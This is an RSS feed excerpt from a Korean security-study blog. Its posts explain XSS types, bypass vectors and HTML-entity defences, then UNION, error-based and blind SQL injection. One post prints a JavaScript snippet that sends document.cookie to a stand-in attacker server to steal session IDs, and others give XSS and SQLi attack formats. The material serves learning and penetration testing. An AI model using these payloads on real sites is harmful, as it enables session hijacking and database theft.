<li><p><code>&lt;a&gt;</code> 태그의 <code>href</code> 속성 활용 : <code>href</code> 속성은 연결할 페이지의 링크를 지정. 이 링크에 자바스크립트 삽입 가능
<code>ex) &lt;a href=&quot;javascript:alert(1);&quot;&gt;TEST&lt;/a&gt;</code></p>
</li>
<li><p>기존 스크립트 내에 존재하는 XSS 취약점 이용 : 기존에 이미 있던 스크립트에서 XSS 취약점이 발견되는 경우 <code>&lt;script&gt;</code> 태그 사용 불필요
<code>ex) &lt;script&gt;var data = &quot;[취약점 존재]&quot;&lt;/script&gt;</code> 와 같이 이미 html 내에 스크립트가 존재하고 그 스크립트 내부에 취약점이 있는 경우, 이미 스크립트 내부이기 때문에 <code>&lt;script&gt;</code> 태그를 이용할 필요 없음</p>
</li>
<li><p><code>&lt;input&gt;</code> 태그 활용 : input 태그의 속성을 활용해 스크립트를 실행
<code>ex) &lt;input type=&quot;text&quot; onfocus=&quot;alert(1);&quot; autofocus /&gt;</code> </p>
</br>
이 외에도 여러가지 우회 방법이 존재합니다

</li>
</ul>
<hr>
<h4 id="🔎-html-entity를-활용한-xss-대응">🔎 HTML Entity를 활용한 XSS 대응</h4>
<p>HTML Entity는 HTML의 특수문자 등을 특정 형태로 치환한 텍스트입니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/726c6407-c7cd-41a6-b73e-814417ef0476/image.png" alt=""></p>
<p>주로 XSS 공격에 활용되는 <code>&lt;</code> , <code>&gt;</code> , <code>&#39;</code> , <code>&quot;</code> 이 4개의 특수문자를 HTML Entity 표현으로 바꿉니다</p>
<h4 id="🔎-html-entity를-적용하기-어려운-곳의-xss-대응">🔎 HTML Entity를 적용하기 어려운 곳의 XSS 대응</h4>
<p>HTML 특수 문자를 HTML Entity로 바꾸면 안되는 곳은 어디일까요?</p>
<p>바로 <strong>HTML 에디터</strong>입니다</p>
<p>종종 게시판이나 블로그 같은 곳에 HTML 에디터 기능이 탑재되어 있는데요,</p>
<p>이 기능에서는 HTML 특수문자를 특수문자 그대로 받아들여야 하니 HTML Entity를 활용한 XSS 대응이 어렵습니다</p>
<p>그렇다면 이런 <strong>HTML 에디터에서는 어떻게 XSS 공격에 대응</strong>해야 할까요?</p>
<p><strong>👉 가능하다면 HTML 에디터 기능 삭제</strong></p>
<p>HTML 에디터 기능이 꼭 필요한 게 아니라면 삭제합니다</p>
<p><strong>👉 삭제 할 수 없다면 아래의 대응 방법 시행</strong></p>
<ol>
<li><p>우선 입력 파라미터에서 HTML 특수문자를 전부 HTML Entity로 치환합니다</p>
</li>
<li><p>허용할 tag를 식별하고 그 tag를 다시 HTML 특수문자로 복구합니다(화이트리스트 기반 필터링)</p>
</li>
<li><p>복구한 tag 내 악의적인 event handler를 제거합니다(블랙리스트 기반 필터링)</p>
</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[XSS 대응 방안 (HTML Entity)]]></title>
            <link>https://velog.io/@gyubin_yoon/XSS-%EB%8C%80%EC%9D%91-%EB%B0%A9%EC%95%88-HTML-Entity</link>
            <guid>https://velog.io/@gyubin_yoon/XSS-%EB%8C%80%EC%9D%91-%EB%B0%A9%EC%95%88-HTML-Entity</guid>
            <pubDate>Sat, 14 Jun 2025 10:10:39 GMT</pubDate>
            <description><![CDATA[<blockquote>
<h3 id="🔎-html-entity">🔎 HTML Entity</h3>
<p>HTML의 예약 문자로 지정되어 있는 특수문자들을 <code>&amp;</code> 로 시작하고 <code>;</code> 로 끝나는 텍스트로 표현하는 방법
예를 들어, <code>&lt;</code> 는 HTML에서 태그를 여는 문자로 예약되어 있기 때문에, 이것을 HTML Entity로 표현하지 않으면 뒤의  텍스트를 태그로 인식합니다</p>
</blockquote>
<h3 id="❗-html-entity를-활용한-xss-대응">❗ HTML Entity를 활용한 XSS 대응</h3>
<p>입력 값에 포함된 <code>&lt;</code> 와 같은 특수문자를 HTML Entity 방식으로 변환하면 </p>
<p>입력값에 <code>&lt;script&gt; alert(1) &lt;/script&gt;</code> 와 같은 스크립트를 삽입하더라도 <code>&amp;lt;script&amp;gt; alert(1) &amp;lt;/script&amp;gt;</code> 와 같이 변환되어 스크립트로 인식되지 않습니다</p>
<h4 id="❓-필터링과-html-entity를-활용한-방법이-어떻게-다를까">❓ 필터링과 HTML Entity를 활용한 방법이 어떻게 다를까?</h4>
<p><strong>필터링</strong>은 <code>&lt;</code> 와 같은 문자를 <strong>사용하지 못하게 만드는 것</strong>입니다
그러니 게시판에 필터링을 적용하면 <code>&gt;.&lt;</code> 와 같은 이모티콘은 사용할 수 없게 됩니다</p>
<p>하지만 <strong>HTML Entity</strong>는 <strong>특수문자를 다른 형태로 치환</strong>하는 것이니, 
그대로 사용할 수 있되 HTML의 예약 문자로 해석되지는 않습니다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[DOM based XSS]]></title>
            <link>https://velog.io/@gyubin_yoon/DOM-based-XSS</link>
            <guid>https://velog.io/@gyubin_yoon/DOM-based-XSS</guid>
            <pubDate>Fri, 13 Jun 2025 16:01:11 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>🔎 <strong>DOM이란?</strong>
Document Object Model의 약자로, <strong>HTML 문서를 객체로 표현</strong>한 것입니다
javascript와 같은 언어는 DOM 객체를 통해서 HTML 문서에 접근합니다
<br/>
HTML에는 부모 요소, 자식 요소가 있습니다
즉, <strong>계층 구조</strong>를 이루고 있는데요, 그래서 DOM은 <strong>트리구조</strong>를 이루고 있습니다</p>
</blockquote>
<h3 id="💡dom-based-xss">💡DOM based XSS</h3>
<p>DOM은 javascript와 같은 언어가 HTML에 접근할 수 있도록 만들어 주기 때문에,</p>
<p>DOM 객체를 이용해 HTML 문서를 제어할 수 있게 만들어줍니다</p>
<p>이것은 HTML에 요소를 추가하는 것도 포함인데요</p>
<p><strong>DOM 객체를 활용해 javascript로 HTML 문서에 태그 즉, 요소를 더해줄 수 있습니다</strong></p>
<p>대표적으로 <code>document.write</code> 나 <code>innerHTML</code> 이 있습니다</p>
<p>만약 URL의 <strong>파라미터 데이터를 javascript를 이용해 HTML에 추가하는 경우</strong>,</p>
<p>파라미터에 악성 스크립트가 삽입되어 있었다면 어떻게 될까요?</p>
<p>이 입력값이 <code>document.write</code> 나 <code>innerHTML</code> 와 같은 스크립트를 통해 HTML 문서에 추가되어 악성 스크립트가 실행될 것 입니다</p>
<br/>

<p>예를 들어, <code>www.a.com/hello?p=파라미터값</code> 라는 요청을 클라이언트가 보냈을 떄 hello 페이지에서 파라미터를 <code>document.write(파라미터값)</code> 과 같이 출력하게 되어있다면</p>
<p>파라미터값에 <code>&lt;script&gt; alert(1); &lt;/script&gt;</code> 가 들어갔을 때,</p>
<p><code>document.write(&lt;script&gt; alert(1); &lt;/script&gt;)</code> 가 HTML에 추가되어 <code>alert(1)</code> 이 실행될 것입니다</p>
<br/>

<p><strong>DOM based XSS</strong>는 이렇게 <strong>클라이언트의 브라우저에서 입력 데이터가 script를 통해 재조합되어 HTML의 요소로 추가되는 경우</strong> 발생할 수 있습니다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[XSS로 세션 ID 탈취하는 법]]></title>
            <link>https://velog.io/@gyubin_yoon/XSS%EB%A1%9C-%EC%84%B8%EC%85%98-ID-%ED%83%88%EC%B7%A8%ED%95%98%EB%8A%94-%EB%B2%95</link>
            <guid>https://velog.io/@gyubin_yoon/XSS%EB%A1%9C-%EC%84%B8%EC%85%98-ID-%ED%83%88%EC%B7%A8%ED%95%98%EB%8A%94-%EB%B2%95</guid>
            <pubDate>Fri, 13 Jun 2025 15:18:06 GMT</pubDate>
            <description><![CDATA[<p>앞에서 XSS 공격에 대해 알아보았는데요</p>
<p>지금까지는 XSS 공격 취약점이라는 것을 쉽게 파악할 수 있도록, 클라이언트가 취약점 부분에 접속 시 <code>alert(1)</code> 이 실행되도록 하였습니다</p>
<p><code>alert(1)</code> 은 해당 취약점에 <code>alert(1)</code> 이 아닌 다른 악성 스크립트를 삽입했을 때도 실행될 수 있다는 것을 보여주는 역할이었는데요,</p>
<p>그렇다면 <code>alert(1)</code> 자리에 삽입할 수 있는 <strong>악성 스크립트 예시</strong>를 하나 알아볼까 합니다</p>
<h3 id="💡-세션id-탈취-스크립트">💡 세션ID 탈취 스크립트</h3>
<p>웹페이지는 <strong>stateless</strong> 하기 때문에 로그인을 계속 유지하려면 <strong>쿠키나 세션</strong>과 같은 방법을 활용해야 합니다</p>
<p>로그인 유지에는 로그인 정보를 서버에 저장해두는 세션 방식을 주로 사용하는데요,</p>
<p>세션을 구분하기 위한 세션 ID는 클라이언트의 브라우저 쿠키에 저장되어 있습니다</p>
<p>그러니 이 세션을 탈취하면 타인의 정보로 로그인을 할 수 있게 됩니다</p>
<p>그럼 세션 탈취 코드를 한번 살펴볼까요?</p>
<pre><code class="language-javascript">var cookieData = document.cookie;
var i = new Image();
i.src = &quot;www.공격자서버주소/?cookie=&quot;+cookieData;</code></pre>
<p>만약 A라는 사이트에서 XSS 취약점을 찾아 위와 같은 스크립트를 삽입하고 클라이언트의 브라우저에서 실행시켰다면 어떻게 될까요?</p>
<p>코드를 한 줄씩 살펴보겠습니다</p>
<ol>
<li><p><code>var cookieData = document.cookie;</code>
: A 사이트에 대한 클라이언트의 쿠키 값이 cookieData에 담기게 됩니다</p>
</li>
<li><p><code>var i = new Image();</code>
: <code>new Image()</code> 는 새로운 이미지 객체를 만들어줍니다
이 객체를 변수에 저장합니다</p>
</li>
<li><p><code>i.src = &quot;www.공격자서버주소/?cookie=&quot;+cookieData;</code>
: 이미지 객체에는 <code>src</code> 라는 이미지의 소스 속성이 있습니다
이미지를 로드하기 위해서는 이 소스에 접근해야 하는데요
이 소스를 <code>&quot;www.공격자서버주소/?cookie=&quot;+cookieData</code> 로 지정하게 되면 이미지를 가져오기 위해 클라이언트는 <strong>공격자 서버에 자신의 A 사이트에 대한 쿠키 데이터를 파라미터로 한 GET 요청</strong>을 하게 됩니다
그러면 공격자는 이 파라미터를 받아와 클라이언트의 A 사이트 쿠키에 담긴 <strong>세션 ID를 탈취</strong>하게 됩니다</p>
</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[XSS 알아보기]]></title>
            <link>https://velog.io/@gyubin_yoon/XSS-%EC%95%8C%EC%95%84%EB%B3%B4%EA%B8%B0</link>
            <guid>https://velog.io/@gyubin_yoon/XSS-%EC%95%8C%EC%95%84%EB%B3%B4%EA%B8%B0</guid>
            <pubDate>Fri, 13 Jun 2025 15:15:32 GMT</pubDate>
            <description><![CDATA[<blockquote>
<h4 id="❓-xss란">❓ XSS란?</h4>
<p>XSS는 <strong>Cross Site Script</strong>의 줄임말로, 클라이언트 측, 즉 사용자의 브라우저에서 악성 스크립트가 실행되도록 하는 공격입니다</p>
</blockquote>
<h3 id="❓-스크립트-삽입-방법">❓ 스크립트 삽입 방법</h3>
<h4 id="1️⃣-stored-xss">1️⃣ stored XSS</h4>
<blockquote>
<p>서버에 스크립트를 저장시킨 뒤, 클라이언트가 해당 스크립트가 저장된 곳을 요청하면 서버에 저장된 악성 스크립트가 함께 전달되어 클라이언트의 브라우저에서 실행되도록 만드는 XSS 공격
</br>
예를 들어, 게시판과 같이 데이터를 저장(INSERT) 시키고 출력하는 곳에 악성스크립트를 저장시켜, 클라이언트가 게시글을 클릭하면 저장되어있던 악성스크립트가 실행되어 공격이 이루어지도록 한다</p>
</blockquote>
<h4 id="💡-stored-xss-공격-방법">💡 stored XSS 공격 방법</h4>
<p><strong>1. 작성한 데이터가 화면에 응답되는 것 확인</strong></p>
<p>우선 XSS를 위해서는 스크립트가 저장되고, 그 저장된 스크립트가 응답에 포함되어 클라이언트의 브라우저에서 실행될 수 있어야 하기 때문에</p>
<p>작성한 데이터가 응답되는 부분을 확인해야 합니다</p>
<p><strong>2. 특수문자 체크</strong></p>
<p>스크립트 삽입은 <code>&lt;script&gt; 스크립트 내용 &lt;/script&gt;</code> 과 같이 합니다</p>
<p>이 때, <code>&lt;</code> , <code>&#39;</code> , <code>&quot;</code> , <code>&gt;</code> 이 4개의 특수문자가 주로 필요한데, 이 특수문자들이 필터링 되는 등 사용할 수 없는 상태가 아닌지 확인합니다</p>
<p><strong>3. script 삽입</strong></p>
<p>스크립트를 삽입할 수 있는 곳이라는 것이 확인되면, 이제 정말 script 삽입을 진행할 차례입니다</p>
<p>실제 공격에서는 악성 스크립트를 삽입하겠지만, 모의해킹에서는 어떤 스크립트를 삽입해 XSS 취약점이 있다는 것을 증명할까요?</p>
<p>XSS 취약점을 증명할 수 있는 <strong>POC(Proof of Concept)</strong> 코드에는 <code>alert</code> , <code>prompt</code> , <code>confirm</code> 등과 같은 함수가 있습니다</p>
<p>이 함수들은 알림창이 뜨는 함수들로, 이러한 스크립트를 삽입했을 때 브라우저에서 알림 팝업이 뜨면 스크립트가 실행되었다는 것을 쉽게 확인할 수 있습니다</p>
<p>❗stored XSS는 서버에 스크립트가 저장되어 있고 이 스크립트가 출력되는 위치에 접근한 사용자 모두 브라우저에서 해당 악성 스크립트가 실행되기 때문에, 광범위한 공격입니다</p>
<h4 id="2️⃣-reflected-xss">2️⃣ Reflected XSS</h4>
<blockquote>
<p>서버에 스크립트를 저장하는 방식이 아니라, 입력 파라미터를 그대로 response에 삽입시키는 경우를 활용한 XSS 공격</p>
</blockquote>
<p>파라미터 데이터가 response에 삽입되어 오는 곳이기 때문에, <strong>reflected XSS는 스크립트를 삽입하는 곳과 출력하는 곳이 같습니다</strong></p>
<h4 id="💡-reflected-xss-공격-방법">💡 reflected XSS 공격 방법</h4>
<p><strong>1. 파라미터 데이터가 response에 그대로 포함되어 오는 곳 확인</strong></p>
<p>reflected XSS는 우선 파라미터가 response에 포함되어 와야 가능하기 때문에, 이런 지점이 있는지 먼저 체크해야 합니다</p>
<p><strong>2. 특수문자 체크</strong></p>
<p>stored XSS와 마찬가지로 스크립트를 삽입하는 것이기 때문에, <code>&lt;script&gt; ~~ &lt;/script&gt;</code> 를 활용하게 됩니다</p>
<p>그렇기 때문에 <code>&lt;</code> , <code>&#39;</code> , <code>&quot;</code> , <code>&gt;</code> 를 사용 가능한지 체크합니다</p>
<p><strong>3. 스크립트 삽입</strong></p>
<p>취약점과 특수문자 사용 가능성도 체크했다면 이제 스크립트를 삽입해야 합니다</p>
<p>모의해킹에서는 stored XSS와 같이 취약점을 시각적으로 편하게 증명할 수 있는 <code>alert</code> , <code>prompt</code> , <code>confirm</code> 등의 함수를 활용해 XSS 취약점임을 증명합니다</p>
</br>

<p>❗그런데 reflected XSS는 서버에 스크립트를 저장하는 stored XSS와 달리 입력 파라미터를 활용한 공격이기 때문에 사용자가 파라미터로 script를 입력하지 않으면 공격이 일어날 수 없습니다</p>
<p>따라서 reflected XSS는 <strong>공격자가 GET 방식으로 스크립트를 전달하는 링크를 만들고 사용자가 이를 클릭하게 만들어야</strong> 합니다
</br></p>
<hr>
<p>지금까지 XSS 공격에 대해 알아보았습니다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[SQL Injection 방법 총정리]]></title>
            <link>https://velog.io/@gyubin_yoon/SQL-Injection-%EB%B0%A9%EB%B2%95-%EC%B4%9D%EC%A0%95%EB%A6%AC</link>
            <guid>https://velog.io/@gyubin_yoon/SQL-Injection-%EB%B0%A9%EB%B2%95-%EC%B4%9D%EC%A0%95%EB%A6%AC</guid>
            <pubDate>Wed, 04 Jun 2025 05:18:37 GMT</pubDate>
            <description><![CDATA[<h2 id="sql-실행-결과가-출력되는-경우">SQL 실행 결과가 출력되는 경우</h2>
<p>SQL 질의문의 실행 결과가 직접적으로 출력되는 경우에는 <strong>UNION SQL Injection</strong>을 우선적으로 시도해 볼 수 있습니다</p>
<p>실행 결과가 출력되는 경우는 예를 들어 게시판 또는 검색 조회 페이지 등을 생각해 볼 수 있습니다</p>
<h3 id="⭐-union-sql-injection">⭐ UNION SQL Injection</h3>
<p><strong>SQL 실행 결과가 직접적으로 화면에 출력될 경우</strong>, 우리가 얻고 싶은 데이터도 출력할 수 있는 가능성이 있다는 점을 이용해 SQL Injection을 시도하는 방법입니다</p>
<p>원하는 데이터를 출력하려면 우리가 원하는 테이블과 컬럼 데이터를 출력할 수 있어야 하기 때문에, </p>
<p>단순히 조건절에 SQL문을 삽입하는 것만으로는 어렵습니다</p>
<p>따라서 <strong>우리가 원하는 테이블과 컬럼을 선택하기 위해 <code>UNION</code> 을 활용</strong>합니다</p>
<blockquote>
<p><strong>❓ UNION SQL Injection 방법</strong> </br></p>
</blockquote>
<h4 id="1️⃣-sqli-포인트-찾기">1️⃣ SQLi 포인트 찾기</h4>
<p>SQLi가 가능한 곳을 먼저 파악합니다</p>
<h4 id="2️⃣-order-by로-column-개수-찾기">2️⃣ ORDER BY로 column 개수 찾기</h4>
<p>select 문의 마지막에 <code>order by 인덱스</code> 를 추가하여 서버의 SQL문에서 몇 개의 column이 select 되고 있는지 확인합니다</p>
<h4 id="3️⃣-출력되는-column-위치-찾기">3️⃣ 출력되는 column 위치 찾기</h4>
<p>select 되는 column들 중 직접적으로 출력이 되는 column과 그렇지 않은 column이 있을 수 있습니다. 
데이터를 추출하기 위해서는 출력을 확인해야 하므로, 출력되는 column이 몇 번째 컬럼인지 확인합니다</p>
<h4 id="4️⃣-데이터베이스-이름-확인">4️⃣ 데이터베이스 이름 확인</h4>
<p>원하는 데이터 추출을 위한 SELECT 문 작성을 위해서는 DB 이름이 필요합니다
<code>UNION</code> 을 활용해 <code>select database()</code> 를 하면 데이터베이스의 이름을 확인할 수 있습니다</p>
<h4 id="5️⃣-테이블-이름-확인">5️⃣ 테이블 이름 확인</h4>
<p>SELECT 문 작성에는 테이블 이름이 필요합니다
이 테이블 이름은 4️⃣번에서 찾은 데이터베이스 이름으로 아래와 같이 찾을 수 있습니다
<code>SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=&#39;해당 DB명&#39;</code>
이 SQL을 서버의 SQL 문 컬럼 개수 등에 맞게 <code>UNION</code> 을 활용하여 실행시켜 테이블 이름을 확인합니다</p>
<h4 id="6️⃣-컬럼-이름-확인">6️⃣ 컬럼 이름 확인</h4>
<p>SELECT 문 작성에는 컬럼 이름이 필요합니다
컬럼 이름은 5️⃣번에서 찾은 테이블 이름으로 아래와 같이 찾을 수 있습니다
<code>SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;[해당 테이블명]&#39;</code>
이 SQL을 서버의 SQL 문 컬럼 개수 등에 맞게 <code>UNION</code> 을 활용하여 실행시켜 컬럼 이름을 확인합니다</p>
<h4 id="7️⃣-데이터-추출">7️⃣ 데이터 추출</h4>
<p>이제 테이블과 컬럼 이름을 모두 알았으니 특정 데이터를 추출할 수 있습니다
<code>SELECT 컬럼 FROM 테이블</code> 을 서버의 SQL 문 컬럼 개수 등에 맞게 <code>UNION</code> 을 활용하여 실행시키고, 원하는 데이터를 추출합니다</p>
<hr>
<h2 id="sql-실행-결과가-출력되지-않는-경우">SQL 실행 결과가 출력되지 않는 경우</h2>
<p>SQL 실행 결과가 화면에 출력되지 않는 경우도 있습니다</p>
<p>예를 들어, 로그인 같은 경우 로그인 성공/실패 여부만 알 뿐 어떠한 데이터가 출력되지는 않습니다</p>
<p>이럴 경우 시도할 수 있는 SQL Injection이 2가지 있습니다</p>
<h3 id="⭐-error-based-sql-injection">⭐ Error based SQL Injection</h3>
<p>실행 결과가 화면에 출력되지는 않지만, <strong>SQL 로직 에러가 발생할 때 에러메세지가 출력되는 케이스</strong>에서 <strong>Error based SQL Injection</strong>을 시도해 볼 수 있습니다 </p>
<p>원하는 데이터가 포함된 에러메세지를 발생시키기 위해, 의도적으로 에러를 발생시키는 SQL 문을 작성합니다</p>
<blockquote>
<p><strong>❓ Error based SQL Injection 방법</strong> </br></p>
</blockquote>
<h4 id="1️⃣-sqli-포인트-찾기-1">1️⃣ SQLi 포인트 찾기</h4>
<p>일부러 SQL 에러를 발생시켜 에러메세지가 출력되는지 확인합니다</p>
<h4 id="2️⃣-에러-유발할-함수-선택">2️⃣ 에러 유발할 함수 선택</h4>
<p>Error base SQLi를 실행할 포인트를 찾았다면, 의도적으로 에러를 유발하면서 원하는 데이터가 출력될만한 함수를 선택해야 합니다
Mysql의 경우 <code>extractvalue</code> 함수가 많이 사용되는 편입니다</p>
<h4 id="3️⃣-공격-format-만들기">3️⃣ 공격 format 만들기</h4>
<p>Error based SQLi를 실행할 공격 format을 만들어 필요한 SQL 문을 주입할 틀을 만들어 둡니다
이 공격 format은 서버에 어떤 쿼리문이 작성되어 있을지 웹의 동작 방식을 통해 추측한 후, 
그에 맞게 만듭니다</br>
예를 들어, 서버의 쿼리문이 <code>select * from member where id = &#39;[입력값]&#39;</code> 로 작성되어 있다면,
공격 format은 <code>아이디&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(_SQL문_))) and &#39;1&#39;=&#39;1</code> 와 같이 만들어 볼 수 있습니다</p>
<h4 id="4️⃣-데이터베이스-이름-확인-1">4️⃣ 데이터베이스 이름 확인</h4>
<p>원하는 데이터 추출을 위한 SELECT 문 작성을 위해서는 DB 이름이 필요합니다
<code>select database()</code> 를 공격 format에 맞게 삽입하여 데이터베이스 이름을  확인합니다</p>
<h4 id="5️⃣-테이블-이름-확인-1">5️⃣ 테이블 이름 확인</h4>
<p>SELECT 문 작성에는 테이블 이름이 필요합니다
이 테이블 이름은 4️⃣번에서 찾은 데이터베이스 이름으로 아래와 같이 찾을 수 있습니다
<code>SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=&#39;해당 DB명&#39;</code>
이 SQL 문을 공격 format의 SQL문 자리에 넣어 테이블 이름을 확인할 수 있습니다</p>
<h4 id="6️⃣-컬럼-이름-확인-1">6️⃣ 컬럼 이름 확인</h4>
<p>SELECT 문 작성에는 컬럼 이름이 필요합니다
컬럼 이름은 5️⃣번에서 찾은 테이블 이름으로 아래와 같이 찾을 수 있습니다
<code>SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;[해당 테이블명]&#39;</code>
이 SQL 문을 공격 format의 SQL문 자리에 넣어 컬럼 이름을 확인할 수 있습니다</p>
<h4 id="7️⃣-데이터-추출-1">7️⃣ 데이터 추출</h4>
<p>이제 테이블과 컬럼 이름을 모두 알았으니 특정 데이터를 추출할 수 있습니다
<code>SELECT 컬럼 FROM 테이블</code> 을 공격 format의 SQL문 자리에 넣어 출력된 에러메세지에서 데이터를 확인합니다</p>
<br/>

<h3 id="⭐-blind-sql-injection">⭐ Blind SQL Injection</h3>
<p>blind SQL Injection은 <strong>어떠한 출력도 없이 SQL 실행 결과의 참/거짓 여부만 알 수 있는 경우</strong>에 시도할 수 있는 SQLi입니다</p>
<p>예를 들어, 로그인 페이지에서 로그인 성공/실패 여부만 알 수 있는 경우가 이에 해당합니다</p>
<p>알 수 있는 정보가 성공/실패이기 때문에, blind SQL Injection에서는 이를 이용하여 <strong>주입한 SQL문이 참인지 거짓인지 확인하여 데이터를 추출</strong>합니다</p>
<blockquote>
<p><strong>❓ blind SQL Injection 방법</strong> </br></p>
</blockquote>
<h4 id="1️⃣-sqli-포인트-찾기-2">1️⃣ SQLi 포인트 찾기</h4>
<p>blind SQL Injection은 SQL 실행 결과 참/거짓일 때의 차이를 이용하는 공격이기 때문에,
<strong>SQL문을 삽입 가능하면서 그 SQL문의 참/거짓에 따라 다른 결과가 나오는 곳</strong>을 찾습니다</p>
<h4 id="2️⃣-select-사용-가능-여부-확인">2️⃣ SELECT 사용 가능 여부 확인</h4>
<p>데이터 추출을 위해서는 <code>select</code> 문을 사용해야 하므로, <code>select</code> 가 필터링 되고 있지는 않은지 먼저 확인합니다</p>
<h4 id="3️⃣-공격-format-만들기-1">3️⃣ 공격 format 만들기</h4>
<p>blind SQL Injection을 실행할 공격 format을 만들어 필요한 SQL 문을 주입할 틀을 만들어 둡니다
이 공격 format은 서버에 어떤 쿼리문이 작성되어 있을지 웹의 동작 방식을 통해 추측한 후, 
그에 맞게 만듭니다</br>
예를 들어, 서버의 쿼리문이 <code>select * from member where id = &#39;[입력값]&#39;</code> 로 작성되어 있다면,
공격 format은 <code>아이디&#39; and ascii(substr((_SQL문_),인덱스,1))&gt;숫자 and &#39;1&#39;=&#39;1</code> 로 작성할 수 있습니다</p>
<h4 id="4️⃣-데이터베이스-이름-확인-2">4️⃣ 데이터베이스 이름 확인</h4>
<p>원하는 데이터 추출을 위한 SELECT 문 작성을 위해서는 DB 이름이 필요합니다
<code>select database()</code> 를 공격 format의 SQL 부분에 삽입하여 데이터베이스 이름을 확인합니다
이때 데이터베이스의 이름을 한 글자씩 ascii 숫자 범위 좁히기를 통해 참/거짓 여부로 추측하는 방식으로 진행합니다</p>
<h4 id="5️⃣-테이블-이름-확인-2">5️⃣ 테이블 이름 확인</h4>
<p>SELECT 문 작성에는 테이블 이름이 필요합니다
이 테이블 이름은 4️⃣번에서 찾은 데이터베이스 이름으로 아래와 같이 찾을 수 있습니다
<code>SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=&#39;해당 DB명&#39;</code>
이 SQL 문을 공격 format의 SQL문 자리에 넣어 테이블 이름을 확인할 수 있습니다
이때 데이터베이스 이름 확인 과정과 마찬가지로 테이블의 이름을 한 글자씩 아스키코드 숫자 추측을 통해 맞춰 나가야 합니다
테이블이 여러 개일 경우 <code>limit</code> 함수를 이용해 테이블 이름을 한 개씩 맞춰 나갑니다</p>
<h4 id="6️⃣-컬럼-이름-확인-2">6️⃣ 컬럼 이름 확인</h4>
<p>SELECT 문 작성에는 컬럼 이름이 필요합니다
컬럼 이름은 5️⃣번에서 찾은 테이블 이름으로 아래와 같이 찾을 수 있습니다
<code>SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;[해당 테이블명]&#39;</code>
이 SQL 문을 공격 format의 SQL문 자리에 넣어 컬럼 이름을 확인할 수 있습니다
컬럼 이름 역시 아스키코드 숫자 추측을 통해 한 글자씩 맞춰 나가야 하며, 컬럼이 여러 개일 경우에는 <code>limit</code> 함수를 활용하여 컬럼을 한 개씩 찾아야 합니다</p>
<h4 id="7️⃣-데이터-추출-2">7️⃣ 데이터 추출</h4>
<p>이제 테이블과 컬럼 이름을 모두 알았으니 특정 데이터를 추출할 수 있습니다
<code>SELECT 컬럼 FROM 테이블</code> 을 공격 format의 SQL문 자리에 넣어 데이터를 찾습니다
역시나 아스키코드 추측을 통해 각 데이터의 글자 한 개씩 맞춰야 하며, 한 컬럼에 여러 개의 행이 있다면 <code>limit</code> 함수를 활용하여 데이터를 1개씩 확인합니다</p>
<hr>
<p>이렇게 여러가지 케이스에 대한 SQL Injection 방법에 대해 알아보았습니다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[SQL Injection 포인트 찾기]]></title>
            <link>https://velog.io/@gyubin_yoon/SQL-Injection-%ED%8F%AC%EC%9D%B8%ED%8A%B8-%EC%B0%BE%EA%B8%B0</link>
            <guid>https://velog.io/@gyubin_yoon/SQL-Injection-%ED%8F%AC%EC%9D%B8%ED%8A%B8-%EC%B0%BE%EA%B8%B0</guid>
            <pubDate>Mon, 02 Jun 2025 07:10:49 GMT</pubDate>
            <description><![CDATA[<p>지금까지는 SQL Injection이 가능한 곳을 알고 있는 경우에 어떤 공격을 시행할 수 있는지 알아봤다면,</p>
<p>이제는 SQL Injection이 가능한 곳, 즉 <strong>SQL Injection Point</strong>를 찾는 과정에 대해 알아보도록 하겠습니다</p>
<blockquote>
<p>‼️ <strong>SQL Injection 포인트는 어디에 있을까?</strong></p>
</blockquote>
<ul>
<li>DB에 질의문을 사용하는 곳</li>
<li>파라미터</li>
</ul>
<p>✅ <strong>DB에 질의문을 사용하는 곳</strong></p>
<p>일단 SQLi가 일어나려면 SQL문을 삽입할 수 있어야 하니 당연히 DB에 SQL 질의문을 사용하는 곳이어야 합니다</p>
<p>이때, 단순히 직접 사용자가 입력을 넣을 수 있는 곳(ex. 로그인, 게시판 검색 등) 뿐만 아니라, SQL문에 필요한 그 모든 곳을 고려해야 합니다</p>
<p>✅ <strong>파라미터</strong></p>
<p>앞에서 단순히 직접적인 입력 공간 뿐만 아니라, QL문에 필요한 그 모든 곳을 고려해야한다고 했는데요</p>
<p>그 모든 곳이라는 것은 우리가 웹페이지 내에서는 입력하거나 확인할 수 없더라도 패킷 데이터의 헤더, 파라미터 등과 같이 SQL문에 들어가는 정보를 말합니다</p>
<p>이 경우에는 서버와 클라이언트가 주고 받는 패킷을 관찰하고, DB에서 데이터를 받아내려면 어떤 정보가 필요할 지 추측해 그 부분이 SQLi의 포인트가 되는 지 확인해야합니다</p>
<p>그러면 예시를 통해 알아보도록 하겠습니다</p>
<hr>
<h4 id="cookie-http-request-header에-sqli-포인트가-있는-경우">cookie, HTTP request header에 SQLi 포인트가 있는 경우</h4>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/affd32ca-ed83-4e0b-9fec-50bc36b6ae8e/image.png" alt=""></p>
<p>로그인 하여 개인정보를 수정할 수 있는 마이페이지가 있습니다</p>
<p>여기서 SQLi 포인트를 찾기 위해 SQL에서 <code>SELECT</code> 가 활용될만한 부분을 생각해봅니다</p>
<p>아마 가장 눈에 띄는 비밀번호 변경은 <code>UPDATE</code> 구문일 것입니다</p>
<p><code>SELECT</code> 가 필요할 만한 곳을 생각해보니, 아이디가 적혀있는 부분이 떠오르네요</p>
<p>마이페이지에서 내 정보를 알 수 있으려면 쿠키나 세션이 필요할 것입니다</p>
<p>그리고 그곳에서 아이디 정도는 <code>SELECT</code> 했을 것입니다</p>
